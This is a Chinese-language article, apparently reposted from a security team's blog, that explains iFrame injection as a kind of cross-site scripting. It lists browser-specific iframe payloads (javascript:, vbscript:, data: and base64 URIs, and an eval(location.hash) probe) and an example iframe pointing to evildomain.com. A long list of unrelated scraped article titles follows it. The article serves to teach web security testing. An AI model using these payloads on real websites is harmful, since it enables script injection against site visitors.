iFrame注入是一种非常常见的跨站脚本攻击。它包括已插入到网页或文章内容的一个或多个iframe代码,或一般下载一个可执行程序或进行其他动作使网站访客的电脑妥协。在最好的情况下,谷歌可能会标注该网站“恶意”。最糟糕的情况是,站点所有者和访问者最终使用了受恶意软件感染的计算机。

iFrame注入发生在当一个脆弱的网页上的iFrame通过一个用户可控输入显示另一个网页。

GET/search.jsp?query=%3Ciframe%20src=%22https://google.com/?%22%3E%3C/iframe%3E HTTP/1.1

不同浏览器使用不同payload:

</iframe><iframe src="vbscript:msgbox(1)"></iframe> (IE)
</iframe><iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)

多种利用方式如下:

<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)
http://target.com/something.jsp?query=<script>eval(location.hash.slice(1))</script>#alert(1)

接受用户提供的数据作为iframe源URL可能会导致在Visualforce页面中加载恶意内容。

发生iFrame欺骗漏洞在以下情况:

1、数据通过不可信的源进入web应用程序。

2、数据作为iframe URL使用,而不进行验证。

通过这种方式,如果攻击者向受害者提供设置为恶意网站的iframesrc参数,则该框架将与恶意网站的内容一起呈现。

<iframe src="http://evildomain.com/">

团队公众号:Timeline Sec

iframe 滚动条不显示_BUG赏金 | 当我发现iFrame注入时的利用相关推荐

  1. iframe 滚动条不显示_HTML基础教程:Iframe的用法

    添加 iframe 的语法 URL 指向隔离页面的位置. Iframe - 设置高度和宽度 height 和 width 属性用于规定 iframe 的高度和宽度. 属性值的默认单位是像素,但也可以用 ...

  2. iframe 滚动条不显示_HTML table表格 固定表头 tbody加滚动条

    纯CSS table表格 thead固定 tbody滚动效果 由于项目需要,在表格中,当数据量越来越多时,就会出现滚动条,而在滚动的过程中,默认情况下表格头部会跟着表格内容一起滚动,导致看不到头部对应 ...

  3. html页面下拉条位置,iframe滚动条位置控制

    javascript中如可控制iframe的滚动条位置 我做了一个聊天室,嵌套了两个iframe,一个name叫mainframe,用来显示聊滚动条始终在最下端: window.οnlοad=func ...

  4. 隐藏iframe滚动条,并禁止滑动

    隐藏iframe滚动条 当我们通过 iframe 展示图片,或是通过 iframe 展示 PDF文件 时,如果图片和 PDF 超出 iframe设置的宽高,就会出现横纵向的滚动条,如下图.当 ifra ...

  5. 最简单的方法实现去iframe滚动条

    该文也可以说是一个iframe自适应大小的折中解决办法. iframe出现滚动条的原因是,body里面的内容的高度大于了iframe的高度,所以会出现滚动条. 解决办法: 采用Jquery从ifram ...

  6. html frame滚动条,如何修改 iframe 滚动条样式

    项目中用到了 iframe,由于显示效果,想要修改一下滚动条样式,通过修改 css 样式在 chrome 下无效,而在 safari 中显示正常,不知道什么原因,求大佬们指点 写了个测试代码: ind ...

  7. html5 iframe 无法滚动条,【HTML5】iframe滚动条问题

    HTML 4.01 Transitional 标准 子页面不要表头 ****** 去掉 iframe 横向滚动条或竖条 1. 在主页面加 iframe scrolling="yes" ...

  8. Iframe 滚动条

    最简单的方法去掉iframe滚动条 该文也可以说是一个iframe自适应大小的折中解决办法.iframe出现滚动条的原因是,body里面的内容的高度大于了iframe的高度,所以会出现滚动条. 解决办 ...

  9. iframe滚动条设置

    iframe滚动条设置 如果untitled3.html页中文字超过一屏的话,就会出现了垂直滚动条,在IE7.FF下都是不出现水平滚动条,但在IE6下会出现. 在网上找了两种方法如下: 在<bo ...

最新文章

  1. 用脚写字考上985!无臂硕士开学报到,宿舍设计太细节了……
  2. 谷歌最强 NLP 模型 BERT 解读
  3. angular路由移除#号(跟nginx)
  4. C++ :Signal: SIGSEGV (Segmentation fault) ,深拷贝
  5. [bzoj5405]platform
  6. python 教程 第十五章、 结构布局
  7. 表格字体缩小 php_如何快速找出两个Excel表格不同的地方?
  8. fir滤波器matlab实现_关于FIRamp;IIR系统的算法说明以及结果验证(1)
  9. oracle listener启动问题
  10. bzoj1925地精部落——数学
  11. matlab中批量tiff转png,图片(jpg,png,tif等)批量转dicom(dcm)格式
  12. python+pdf2docx+tkinter PDF转word小工具打包成exe
  13. 3.4 主存储器与CPU的连接———存储器容量的扩充
  14. 衡量计算机主机性能的指标,计算机性能
  15. FreeSwitch基础知识
  16. 文件夹批量重命名方法
  17. php 统计fasta 序列长度和GC含量
  18. 苹果试玩换个新id行不_苹果试玩换ID可以重复任务吗
  19. 最新FFmpeg RTSP流抓取
  20. Python刷题系列(8)_Pandas_Dataframe

热门文章

  1. A2DP和AVRCP蓝牙音频传输协议
  2. 十大经典算法总结(JavaScript描述)
  3. Android Camera数据流分析全程记录(overlay方式二)
  4. 服务器上读取文件,服务器上读取文件
  5. ai怎么调界面大小_Illustrator怎么设置调整界面网格呢?
  6. win7屏保时间设置_015时间轮盘电脑版
  7. ubuntu linux配置bond 网卡绑定 多个bond配置多网关
  8. linux 文件上传扫描_SecureCRT实现windows与linux文件上传下载
  9. Milne格式MATLAB,matlab考试题
  10. android xml反编译原理,记一次resources.arsc文件hex修改原理分析